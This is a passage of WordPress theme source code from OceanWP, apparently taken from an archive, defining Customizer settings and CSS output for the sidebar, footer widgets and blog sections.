'oceanwp' ), 'section' => $section, 'priority' => 10, ) ) ); /** * Sidebar widget Title Heading Tag */ $wp_customize->add_setting( 'ocean_sidebar_widget_heading_tag', array( 'default' => 'h4', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_sidebar_widget_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => $section, 'settings' => 'ocean_sidebar_widget_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Widgets Background */ $wp_customize->add_setting( 'ocean_widgets_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_widgets_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_widgets_bg', 'priority' => 10, ) ) ); /** * Widgets Padding */ $wp_customize->add_setting( 'ocean_widgets_top_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_widgets_right_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_widgets_bottom_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_widgets_left_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_widgets_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_widgets_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_widgets_padding_dimensions', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => $section, 'settings' => array( 'desktop_top' => 'ocean_widgets_top_padding', 'desktop_right' => 'ocean_widgets_right_padding', 'desktop_bottom' => 'ocean_widgets_bottom_padding', 'desktop_left' => 'ocean_widgets_left_padding', 'tablet_top' => 'ocean_widgets_tablet_top_padding', 'tablet_right' => 'ocean_widgets_tablet_right_padding', 'tablet_bottom' => 'ocean_widgets_tablet_bottom_padding', 'tablet_left' => 'ocean_widgets_tablet_left_padding', 'mobile_top' => 'ocean_widgets_mobile_top_padding', 'mobile_right' => 'ocean_widgets_mobile_right_padding', 'mobile_bottom' => 'ocean_widgets_mobile_bottom_padding', 'mobile_left' => 'ocean_widgets_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Widgets Margin Bottom */ $wp_customize->add_setting( 'ocean_widgets_margin_bottom', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_widgets_margin_bottom', array( 'label' => esc_html__( 'Margin Bottom (px)', 'oceanwp' ), 'type' => 'number', 'section' => $section, 'settings' => 'ocean_widgets_margin_bottom', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Widgets Title Border Color */ $wp_customize->add_setting( 'ocean_widgets_titles_border_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_widgets_titles_border_color', array( 'label' => esc_html__( 'Titles Border Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_widgets_titles_border_color', 'priority' => 10, ) ) ); /** * Widgets Titles Margin Bottom */ $wp_customize->add_setting( 'ocean_widgets_titles_margin_bottom', array( 'transport' => 'postMessage', 'default' => '20', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_widgets_titles_margin_bottom', array( 'label' => esc_html__( 'Titles Margin Bottom (px)', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_widgets_titles_margin_bottom', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); } /** * Get CSS * * @since 1.0.0 */ public static function head_css( $output ) { // Global vars $sidebar_bg = get_theme_mod( 'ocean_sidebar_bg' ); $sidebar_top_padding = get_theme_mod( 'ocean_sidebar_top_padding', '0' ); $sidebar_right_padding = get_theme_mod( 'ocean_sidebar_right_padding', '0' ); $sidebar_bottom_padding = get_theme_mod( 'ocean_sidebar_bottom_padding', '0' ); $sidebar_left_padding = get_theme_mod( 'ocean_sidebar_left_padding', '30' ); $tablet_sidebar_top_padding = get_theme_mod( 'ocean_sidebar_tablet_top_padding' ); $tablet_sidebar_right_padding = get_theme_mod( 'ocean_sidebar_tablet_right_padding' ); $tablet_sidebar_bottom_padding = get_theme_mod( 'ocean_sidebar_tablet_bottom_padding' ); $tablet_sidebar_left_padding = get_theme_mod( 'ocean_sidebar_tablet_left_padding' ); $mobile_sidebar_top_padding = get_theme_mod( 'ocean_sidebar_mobile_top_padding' ); $mobile_sidebar_right_padding = get_theme_mod( 'ocean_sidebar_mobile_right_padding' ); $mobile_sidebar_bottom_padding = get_theme_mod( 'ocean_sidebar_mobile_bottom_padding' ); $mobile_sidebar_left_padding = get_theme_mod( 'ocean_sidebar_mobile_left_padding' ); $widgets_bg = get_theme_mod( 'ocean_widgets_bg' ); $widgets_top_padding = get_theme_mod( 'ocean_widgets_top_padding', '0' ); $widgets_right_padding = get_theme_mod( 'ocean_widgets_right_padding', '0' ); $widgets_bottom_padding = get_theme_mod( 'ocean_widgets_bottom_padding', '0' ); $widgets_left_padding = get_theme_mod( 'ocean_widgets_left_padding', '0' ); $tablet_widgets_top_padding = get_theme_mod( 'ocean_widgets_tablet_top_padding' ); $tablet_widgets_right_padding = get_theme_mod( 'ocean_widgets_tablet_right_padding' ); $tablet_widgets_bottom_padding = get_theme_mod( 'ocean_widgets_tablet_bottom_padding' ); $tablet_widgets_left_padding = get_theme_mod( 'ocean_widgets_tablet_left_padding' ); $mobile_widgets_top_padding = get_theme_mod( 'ocean_widgets_mobile_top_padding' ); $mobile_widgets_right_padding = get_theme_mod( 'ocean_widgets_mobile_right_padding' ); $mobile_widgets_bottom_padding = get_theme_mod( 'ocean_widgets_mobile_bottom_padding' ); $mobile_widgets_left_padding = get_theme_mod( 'ocean_widgets_mobile_left_padding' ); $widgets_margin_bottom = get_theme_mod( 'ocean_widgets_margin_bottom' ); $widgets_titles_border_color = get_theme_mod( 'ocean_widgets_titles_border_color', '#13aff0' ); $widgets_titles_margin_bottom = get_theme_mod( 'ocean_widgets_titles_margin_bottom', '20' ); // Define css var $css = ''; // Sidebar background if ( ! empty( $sidebar_bg ) ) { $css .= '.widget-area{background-color:'. $sidebar_bg .';}'; } // Sidebar padding if ( isset( $sidebar_top_padding ) && '0' != $sidebar_top_padding && '' != $sidebar_top_padding || isset( $sidebar_right_padding ) && '0' != $sidebar_right_padding && '' != $sidebar_right_padding || isset( $sidebar_bottom_padding ) && '0' != $sidebar_bottom_padding && '' != $sidebar_bottom_padding || isset( $sidebar_left_padding ) && '30' != $sidebar_left_padding && '' != $sidebar_left_padding ) { $css .= '.widget-area{padding:'. oceanwp_spacing_css( $sidebar_top_padding, $sidebar_right_padding, $sidebar_bottom_padding, $sidebar_left_padding ) .'!important}'; } // Tablet sidebar padding if ( isset( $tablet_sidebar_top_padding ) && '' != $tablet_sidebar_top_padding || isset( $tablet_sidebar_right_padding ) && '' != $tablet_sidebar_right_padding || isset( $tablet_sidebar_bottom_padding ) && '' != $tablet_sidebar_bottom_padding || isset( $tablet_sidebar_left_padding ) && '' != $tablet_sidebar_left_padding ) { $css .= '@media (max-width: 768px){.widget-area{padding:'. oceanwp_spacing_css( $tablet_sidebar_top_padding, $tablet_sidebar_right_padding, $tablet_sidebar_bottom_padding, $tablet_sidebar_left_padding ) .'!important}}'; } // Mobile sidebar padding if ( isset( $mobile_sidebar_top_padding ) && '' != $mobile_sidebar_top_padding || isset( $mobile_sidebar_right_padding ) && '' != $mobile_sidebar_right_padding || isset( $mobile_sidebar_bottom_padding ) && '' != $mobile_sidebar_bottom_padding || isset( $mobile_sidebar_left_padding ) && '' != $mobile_sidebar_left_padding ) { $css .= '@media (max-width: 480px){.widget-area{padding:'. oceanwp_spacing_css( $mobile_sidebar_top_padding, $mobile_sidebar_right_padding, $mobile_sidebar_bottom_padding, $mobile_sidebar_left_padding ) .'!important}}'; } // Widgets background if ( ! empty( $widgets_bg ) ) { $css .= '.widget-area .sidebar-box{background-color:'. $widgets_bg .';}'; } // Widgets padding if ( ! empty( $widgets_padding ) ) { $css .= '.widget-area .sidebar-box{padding:'. $widgets_padding .';}'; } // Widget padding if ( isset( $widgets_top_padding ) && '0' != $widgets_top_padding && '' != $widgets_top_padding || isset( $widgets_right_padding ) && '0' != $widgets_right_padding && '' != $widgets_right_padding || isset( $widgets_bottom_padding ) && '0' != $widgets_bottom_padding && '' != $widgets_bottom_padding || isset( $widgets_left_padding ) && '0' != $widgets_left_padding && '' != $widgets_left_padding ) { $css .= '.widget-area .sidebar-box{padding:'. oceanwp_spacing_css( $widgets_top_padding, $widgets_right_padding, $widgets_bottom_padding, $widgets_left_padding ) .'}'; } // Tablet widget padding if ( isset( $tablet_widgets_top_padding ) && '' != $tablet_widgets_top_padding || isset( $tablet_widgets_right_padding ) && '' != $tablet_widgets_right_padding || isset( $tablet_widgets_bottom_padding ) && '' != $tablet_widgets_bottom_padding || isset( $tablet_widgets_left_padding ) && '' != $tablet_widgets_left_padding ) { $css .= '@media (max-width: 768px){.widget-area .sidebar-box{padding:'. oceanwp_spacing_css( $tablet_widgets_top_padding, $tablet_widgets_right_padding, $tablet_widgets_bottom_padding, $tablet_widgets_left_padding ) .'}}'; } // Mobile widget padding if ( isset( $mobile_widgets_top_padding ) && '' != $mobile_widgets_top_padding || isset( $mobile_widgets_right_padding ) && '' != $mobile_widgets_right_padding || isset( $mobile_widgets_bottom_padding ) && '' != $mobile_widgets_bottom_padding || isset( $mobile_widgets_left_padding ) && '' != $mobile_widgets_left_padding ) { $css .= '@media (max-width: 480px){.widget-area .sidebar-box{padding:'. oceanwp_spacing_css( $mobile_widgets_top_padding, $mobile_widgets_right_padding, $mobile_widgets_bottom_padding, $mobile_widgets_left_padding ) .'}}'; } // Widgets margin bottom if ( ! empty( $widgets_margin_bottom ) ) { $css .= '.widget-area .sidebar-box, .separate-layout .sidebar-box{margin-bottom:'. $widgets_margin_bottom .'px;}'; } // Widgets titles border color if ( ! empty( $widgets_titles_border_color ) && '#13aff0' != $widgets_titles_border_color ) { $css .= '.widget-title{border-color:'. $widgets_titles_border_color .';}'; } // Widgets titles margin bottom if ( ! empty( $widgets_titles_margin_bottom ) && '20' != $widgets_titles_margin_bottom ) { $css .= '.widget-title{margin-bottom:'. $widgets_titles_margin_bottom .'px;}'; } // Return CSS if ( ! empty( $css ) ) { $output .= '/* Sidebar CSS */'. $css; } // Return output css return $output; } } endif; return new OceanWP_Sidebar_Customizer();customizer/settings/footer-widgets.php000064400000051533151551031110014263 0ustar00add_section( $section, array( 'title' => esc_html__( 'Footer Widgets', 'oceanwp' ), 'priority' => 210, ) ); /** * Enable Footer Widgets */ $wp_customize->add_setting( 'ocean_footer_widgets', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_footer_widgets', array( 'label' => esc_html__( 'Enable Footer Widgets', 'oceanwp' ), 'type' => 'checkbox', 'section' => $section, 'settings' => 'ocean_footer_widgets', 'priority' => 10, ) ) ); /** * Footer Widgets Visibility */ $wp_customize->add_setting( 'ocean_footer_widgets_visibility', array( 'transport' => 'postMessage', 'default' => 'all-devices', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_footer_widgets_visibility', array( 'label' => esc_html__( 'Visibility', 'oceanwp' ), 'type' => 'select', 'section' => $section, 'settings' => 'ocean_footer_widgets_visibility', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', 'choices' => array( 'all-devices' => esc_html__( 'Show On All Devices', 'oceanwp' ), 'hide-tablet' => esc_html__( 'Hide On Tablet', 'oceanwp' ), 'hide-mobile' => esc_html__( 'Hide On Mobile', 'oceanwp' ), 'hide-tablet-mobile' => esc_html__( 'Hide On Tablet & Mobile', 'oceanwp' ), ), ) ) ); /** * Fixed Footer */ $wp_customize->add_setting( 'ocean_fixed_footer', array( 'default' => 'off', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_fixed_footer', array( 'label' => esc_html__( 'Fixed Footer', 'oceanwp' ), 'description' => esc_html__( 'This option add a height to your content to keep your footer at the bottom of your page.', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_fixed_footer', 'priority' => 10, 'choices' => array( 'on' => esc_html__( 'On', 'oceanwp' ), 'off' => esc_html__( 'Off', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Parallax Footer Effect */ $wp_customize->add_setting( 'ocean_parallax_footer', array( 'default' => 'off', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_parallax_footer', array( 'label' => esc_html__( 'Parallax Footer Effect', 'oceanwp' ), 'description' => esc_html__( 'Add a parallax effect to your footer.', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_parallax_footer', 'priority' => 10, 'choices' => array( 'on' => esc_html__( 'On', 'oceanwp' ), 'off' => esc_html__( 'Off', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Footer Widgets Template */ $wp_customize->add_setting( 'ocean_footer_widgets_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_footer_widgets_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library.', 'oceanwp' ), 'type' => 'select', 'section' => $section, 'settings' => 'ocean_footer_widgets_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Footer Widgets Columns */ $wp_customize->add_setting( 'ocean_footer_widgets_columns', array( 'default' => '4', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_footer_widgets_tablet_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_widgets_mobile_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_footer_widgets_columns', array( 'label' => esc_html__( 'Columns', 'oceanwp' ), 'section' => $section, 'settings' => array( 'desktop' => 'ocean_footer_widgets_columns', 'tablet' => 'ocean_footer_widgets_tablet_columns', 'mobile' => 'ocean_footer_widgets_mobile_columns', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets_and_no_page_id', 'input_attrs' => array( 'min' => 1, 'max' => 4, 'step' => 1, ), ) ) ); /** * Sidebar widget Title Heading Tag */ $wp_customize->add_setting( 'ocean_footer_widget_heading_tag', array( 'default' => 'h4', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_footer_widget_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => $section, 'settings' => 'ocean_footer_widget_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Footer Widgets Add Container */ $wp_customize->add_setting( 'ocean_add_footer_container', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_add_footer_container', array( 'label' => esc_html__( 'Add Container', 'oceanwp' ), 'type' => 'checkbox', 'section' => $section, 'settings' => 'ocean_add_footer_container', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Footer Widgets Padding */ $wp_customize->add_setting( 'ocean_footer_top_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_footer_right_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_footer_bottom_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_footer_left_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_footer_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_footer_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_footer_padding_dimensions', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => $section, 'settings' => array( 'desktop_top' => 'ocean_footer_top_padding', 'desktop_right' => 'ocean_footer_right_padding', 'desktop_bottom' => 'ocean_footer_bottom_padding', 'desktop_left' => 'ocean_footer_left_padding', 'tablet_top' => 'ocean_footer_tablet_top_padding', 'tablet_right' => 'ocean_footer_tablet_right_padding', 'tablet_bottom' => 'ocean_footer_tablet_bottom_padding', 'tablet_left' => 'ocean_footer_tablet_left_padding', 'mobile_top' => 'ocean_footer_mobile_top_padding', 'mobile_right' => 'ocean_footer_mobile_right_padding', 'mobile_bottom' => 'ocean_footer_mobile_bottom_padding', 'mobile_left' => 'ocean_footer_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Footer Widgets Background */ $wp_customize->add_setting( 'ocean_footer_background', array( 'transport' => 'postMessage', 'default' => '#222222', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_footer_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_footer_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Footer Widgets Color */ $wp_customize->add_setting( 'ocean_footer_color', array( 'transport' => 'postMessage', 'default' => '#929292', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_footer_color', array( 'label' => esc_html__( 'Text Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_footer_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Footer Widgets Borders Color */ $wp_customize->add_setting( 'ocean_footer_borders', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_footer_borders', array( 'label' => esc_html__( 'Borders Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_footer_borders', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Footer Widgets Links Color */ $wp_customize->add_setting( 'ocean_footer_link_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_footer_link_color', array( 'label' => esc_html__( 'Links Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_footer_link_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); /** * Footer Widgets Links Hover Color */ $wp_customize->add_setting( 'ocean_footer_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_footer_link_color_hover', array( 'label' => esc_html__( 'Links Color: Hover', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_footer_link_color_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_footer_widgets', ) ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public static function head_css( $output ) { // Global vars. $footer_top_padding = get_theme_mod( 'ocean_footer_top_padding', '30' ); $footer_right_padding = get_theme_mod( 'ocean_footer_right_padding', '0' ); $footer_bottom_padding = get_theme_mod( 'ocean_footer_bottom_padding', '30' ); $footer_left_padding = get_theme_mod( 'ocean_footer_left_padding', '0' ); $tablet_footer_top_padding = get_theme_mod( 'ocean_footer_tablet_top_padding' ); $tablet_footer_right_padding = get_theme_mod( 'ocean_footer_tablet_right_padding' ); $tablet_footer_bottom_padding = get_theme_mod( 'ocean_footer_tablet_bottom_padding' ); $tablet_footer_left_padding = get_theme_mod( 'ocean_footer_tablet_left_padding' ); $mobile_footer_top_padding = get_theme_mod( 'ocean_footer_mobile_top_padding' ); $mobile_footer_right_padding = get_theme_mod( 'ocean_footer_mobile_right_padding' ); $mobile_footer_bottom_padding = get_theme_mod( 'ocean_footer_mobile_bottom_padding' ); $mobile_footer_left_padding = get_theme_mod( 'ocean_footer_mobile_left_padding' ); $footer_background = get_theme_mod( 'ocean_footer_background', '#222222' ); $footer_color = get_theme_mod( 'ocean_footer_color', '#929292' ); $footer_borders = get_theme_mod( 'ocean_footer_borders', '#555555' ); $footer_link_color = get_theme_mod( 'ocean_footer_link_color', '#ffffff' ); $footer_link_color_hover = get_theme_mod( 'ocean_footer_link_color_hover', '#13aff0' ); // Define css var. $css = ''; // Footer padding. if ( isset( $footer_top_padding ) && '30' != $footer_top_padding && '' != $footer_top_padding || isset( $footer_right_padding ) && '0' != $footer_right_padding && '' != $footer_right_padding || isset( $footer_bottom_padding ) && '30' != $footer_bottom_padding && '' != $footer_bottom_padding || isset( $footer_left_padding ) && '0' != $footer_left_padding && '' != $footer_left_padding ) { $css .= '#footer-widgets{padding:' . oceanwp_spacing_css( $footer_top_padding, $footer_right_padding, $footer_bottom_padding, $footer_left_padding ) . '}'; } // Tablet footer padding. if ( isset( $tablet_footer_top_padding ) && '' != $tablet_footer_top_padding || isset( $tablet_footer_right_padding ) && '' != $tablet_footer_right_padding || isset( $tablet_footer_bottom_padding ) && '' != $tablet_footer_bottom_padding || isset( $tablet_footer_left_padding ) && '' != $tablet_footer_left_padding ) { $css .= '@media (max-width: 768px){#footer-widgets{padding:' . oceanwp_spacing_css( $tablet_footer_top_padding, $tablet_footer_right_padding, $tablet_footer_bottom_padding, $tablet_footer_left_padding ) . '}}'; } // Mobile footer padding. if ( isset( $mobile_footer_top_padding ) && '' != $mobile_footer_top_padding || isset( $mobile_footer_right_padding ) && '' != $mobile_footer_right_padding || isset( $mobile_footer_bottom_padding ) && '' != $mobile_footer_bottom_padding || isset( $mobile_footer_left_padding ) && '' != $mobile_footer_left_padding ) { $css .= '@media (max-width: 480px){#footer-widgets{padding:' . oceanwp_spacing_css( $mobile_footer_top_padding, $mobile_footer_right_padding, $mobile_footer_bottom_padding, $mobile_footer_left_padding ) . '}}'; } // Footer background. if ( ! empty( $footer_background ) && '#222222' != $footer_background ) { $css .= '#footer-widgets{background-color:' . $footer_background . ';}'; } // Footer color. if ( ! empty( $footer_color ) && '#929292' != $footer_color ) { $css .= '#footer-widgets,#footer-widgets p,#footer-widgets li a:before,#footer-widgets .contact-info-widget span.oceanwp-contact-title,#footer-widgets .recent-posts-date,#footer-widgets .recent-posts-comments,#footer-widgets .widget-recent-posts-icons li .fa{color:' . $footer_color . ';}'; } // Footer borders color. if ( ! empty( $footer_borders ) && '#555555' != $footer_borders ) { $css .= '#footer-widgets li,#footer-widgets #wp-calendar caption,#footer-widgets #wp-calendar th,#footer-widgets #wp-calendar tbody,#footer-widgets .contact-info-widget i,#footer-widgets .oceanwp-newsletter-form-wrap input[type="email"],#footer-widgets .posts-thumbnails-widget li,#footer-widgets .social-widget li a{border-color:' . $footer_borders . ';}'; $css .= '#footer-widgets .contact-info-widget .owp-icon{border-color:' . $footer_borders . ';}'; } // Footer link color. if ( ! empty( $footer_link_color ) && '#ffffff' != $footer_link_color ) { $css .= '#footer-widgets .footer-box a,#footer-widgets a{color:' . $footer_link_color . ';}'; } // Footer link hover color. if ( ! empty( $footer_link_color_hover ) && '#13aff0' != $footer_link_color_hover ) { $css .= '#footer-widgets .footer-box a:hover,#footer-widgets a:hover{color:' . $footer_link_color_hover . ';}'; } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* Footer Widgets CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_Footer_Widgets_Customizer(); customizer/settings/blog.php000064400000203775151551031110012253 0ustar00add_panel( $panel, array( 'title' => esc_html__( 'Blog', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_blog_entries', array( 'title' => esc_html__( 'Blog Entries', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Archives & Entries Layout */ $wp_customize->add_setting( 'ocean_blog_archives_layout', array( 'default' => 'right-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_blog_archives_layout', array( 'label' => esc_html__( 'Archives & Entries Layout', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_blog_archives_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_both_sidebars_style', 